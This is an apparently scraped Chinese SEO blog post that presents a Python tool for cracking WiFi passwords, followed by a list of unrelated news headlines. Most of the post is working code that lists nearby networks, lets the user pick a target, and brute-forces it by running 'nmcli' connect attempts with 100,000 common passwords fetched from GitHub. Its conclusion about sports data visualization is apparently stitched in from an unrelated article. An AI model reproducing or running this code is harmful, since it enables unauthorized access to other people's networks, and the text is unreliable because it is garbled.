WIFI破解码(怎样破开加密wifi密码)
admin
2023-09-05 17:06:17
0

WiFi现在已经遍布我们生活方方面面,如今,如论到工作单位,还是租住的房子,或者一家餐厅,随处都可以连上WiFi。

因此,我们对WiFi密码的需求也没有之前那么迫切了。

如何破解WiFi密码?

本文,将会通过Python教大家如何实现,这里纯粹是为了学习用途。

1. WiFi列表

首先,我们需要获取附近的WiFi列表。

下面,就来写一个函数来获取附近的WiFi列表,函数命名为display_targets

def display_targets(networks, security_type): print("select a target: n") rows, columns = os.popen('stty size', 'r').read().split() for i in range(len(networks)): width = len(str(str(i+1)+". "+networks[i]+security_type[i]))+2 spacer = " " if (int(columns) >= 100): calc = int((int(columns)-int(width))*0.75) else: calc = int(columns)-int(width) for index in range(calc): spacer += "." if index == (calc-1): spacer += " " print(str(i+1)+". "+networks[i]+spacer+security_type[i])

这里,我们会用到ssid工具包,用来获取附近的WiFi列表,存入到参数networks

2. 选择WiFi

获取WiFi列表之后,下一步要做的就是选择我们想要连接的WiFi,

def prompt_for_target_choice(max): whileTrue: try: selected = int(input("nEnter number of target: ")) if(selected >= 1and selected <= max): return selected - 1 except Exception as e: ignore = e print("Invalid choice: Please pick a number between 1 and " + str(max))

这里很简单,就是一些通用的Python功能。

3. 暴力破解

目前已经获取并且选择了想要连接的WiFi,那么如何获取到它的密码呢?

这里要用到一种比较常见的方式:暴力破解

这里,要用到Github上一个项目,它收集了最常用的10万个WiFi密码。我们就用着10万个密码暴力解锁WiFi即可。

def brute_force(selected_network, passwords, args): for password in passwords: # necessary due to NetworkManager restart after unsuccessful attempt at login password = password.strip() # when when obtain password from url we need the decode utf-8 however we doesnt when reading from file if isinstance(password, str): decoded_line = password else: decoded_line = password.decode("utf-8") if args.verbose isTrue: print(bcolors.HEADER+"** TESTING **: with password '" + decoded_line+"'"+bcolors.ENDC) if (len(decoded_line) >= 8): time.sleep(3) creds = os.popen("sudo nmcli dev wifi connect " + selected_network+" password "+decoded_line).read() # print(creds) if ("Error:"in creds.strip()): if args.verbose isTrue: print(bcolors.FAIL+"** TESTING **: password '" + decoded_line+"' failed."+bcolors.ENDC) else: sys.exit(bcolors.OKGREEN+"** KEY FOUND! **: password '" + decoded_line+"' succeeded."+bcolors.ENDC) else: if args.verbose isTrue: print(bcolors.OKCYAN+"** TESTING **: password '" + decoded_line+"' too short, passing."+bcolors.ENDC) print(bcolors.FAIL+"** RESULTS **: All passwords failed :("+bcolors.ENDC)

核心功能3个函数就完成了,只用了60行Python代码!

下面就把它们串联在一起:

def main(): require_root() args = argument_parser() # The user chose to supplied their own url if args.url isnotNone: passwords = fetch_password_from_url(args.url) # user elect to read passwords form a file elif args.file isnotNone: file = open(args.file, "r") passwords = file.readlines() ifnot passwords: print("Password file cannot be empty!") exit(0) file.close() else: # fallback to the default list as the user didnt supplied a password list default_url = "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt" passwords = fetch_password_from_url(default_url) # grabbing the list of the network ssids func_call = start(1) networks = func_call[0] security_type = func_call[1] ifnot networks: print("No networks found!") sys.exit(-1) display_targets(networks, security_type) max = len(networks) pick = prompt_for_target_choice(max) target = networks[pick] print("nWifi-bf is running. If you would like to see passwords being tested in realtime, enable the [--verbose] flag at start.") brute_force(target, passwords, args)

执行函数,就会在命令行下显示附近的WiFi列表,选择之后就开始逐个尝试密码。

不同的颜色代表不同不同的结果:

  • 红色:测试失败
  • 绿色:破解成功
  • 紫色:测试中

现在,是不是发现这个看上去很复杂的事情变得简单许多?

结语

运动中充满了各种不同维度的数据,上述只是列举出一些我个人比较感兴趣的维度进行了分析与可视化。

希望,能够对你有所启示,能够发掘更有价值、有趣的信息,在学习和乐趣中得到最佳的实践。

以上就是爱惜日网»WIFI破解码(怎样破开加密wifi密码)的相关内容了,更多精彩请关注作者:爱惜日号SEO专员

声明:本文由爱惜日网/爱惜日号作者编辑发布,更多技术关注王听风!

相关内容

热门资讯

土耳其执政党:将严密监督库尔德... △土耳其执政党正义与发展党发言人厄梅尔·切利克(资料图)当地时间5月12日,针对库尔德工人党宣布解散...
波兰指控俄罗斯涉华沙纵火案 佩... 俄罗斯总统新闻秘书佩斯科夫12日表示,波兰就2024年华沙商贸中心纵火事件对俄罗斯的指控“毫无根据”...
韩国总统选战打响:7人角逐李在... 据新华社报道,韩国第21届总统选举定于6月3日举行,候选人登记工作于5月10日至11日进行,共有7人...
全国汽车以旧换新补贴申请量突破... 记者今天从商务部了解到,自汽车以旧换新政策实施以来,累计补贴申请量已突破1000万份。商务部数据显示...
中共中央、国务院印发《生态环境... 中央生态环境保护督察是党中央推进生态文明建设的一项重大举措。中共中央、国务院近日印发《生态环境保护督...
云南一男子持刀致邻居3死1重伤... 澎湃新闻从相关渠道获悉,5月12日下午,云南省高院公开开庭审理了吴宗宝故意杀人案,法院未当庭宣判。2...
儿童哮喘管理中的“误操作”|科... 作为一名从业15年的儿科呼吸科医生,我发现不少家长在精心照料孩子的过程中非常容易掉到“坑”里。如果家...
商务部:美方取消91%加征关税... 当地时间5月10日至11日,中美经贸中方牵头人、国务院副总理何立峰与美方牵头人、美国财政部长贝森特和...
美国政府信用卡被设1美元限额,... 自特朗普政府上台以来,由马斯克领导的美国“政府效率部(DOGE)”一直在大幅削减联邦开支、大规模裁减...
人没到场,证就办好了?“健康证... 我们日常生活中接触到的厨师、外卖员、护工、月嫂等从业人员,每年都至少要进行一次相关传染病的筛查,并办...
波兰关闭俄罗斯驻克拉科夫领事馆 新华社快讯:波兰外长西科尔斯基12日在社交平台X上宣布,关闭俄罗斯驻克拉科夫领事馆。
国务院新闻办公室发布《新时代的... 据新华社北京5月12日电 国务院新闻办公室5月12日发布《新时代的中国国家安全》白皮书,旨在全面阐释...
教育部基础教育教指委:小学阶段... 记者从教育部获悉,近日,教育部基础教育教学指导委员会正式发布了《中小学生成式人工智能使用指南(202...
中美日内瓦经贸会谈联合声明 中美日内瓦经贸会谈联合声明中华人民共和国政府(“中国”)和美利坚合众国政府(“美国”),认识到双边经...
全国层面首次!《防震减灾基本知... 今年5月12日是第17个全国防灾减灾日。当天,中国地震局在湖南韶山举办第二届全国防震减灾科普主场活动...
先停火还是先谈判 俄乌双方核心... 俄罗斯总统普京当地时间11日凌晨发表声明,提议俄乌双方15日在土耳其伊斯坦布尔无条件重启直接谈判。对...
苹果商店下架国家反诈中心APP... 日前,有网友在社交平台发帖称,苹果App Store应用商店无法下载国家反诈中心App,页面提示“无...
世贸组织总干事发表声明:欢迎中... △世界贸易组织总干事伊维拉当地时间5月11日,世界贸易组织总干事伊维拉发表声明。伊维拉在声明中称:“...
国家统计局今年将在全国开展两次... 国家统计局发布致人口固定样本跟访调查对象的一封信。国家统计局决定于2025年在全国范围内开展两次人口...
来伊份回应“粽子吃出带血创可贴... 据财经网,来伊份5月12日早间公告,公司关注到公司蜜枣粽产品的相关舆情,管理层第一时间组织专项工作小...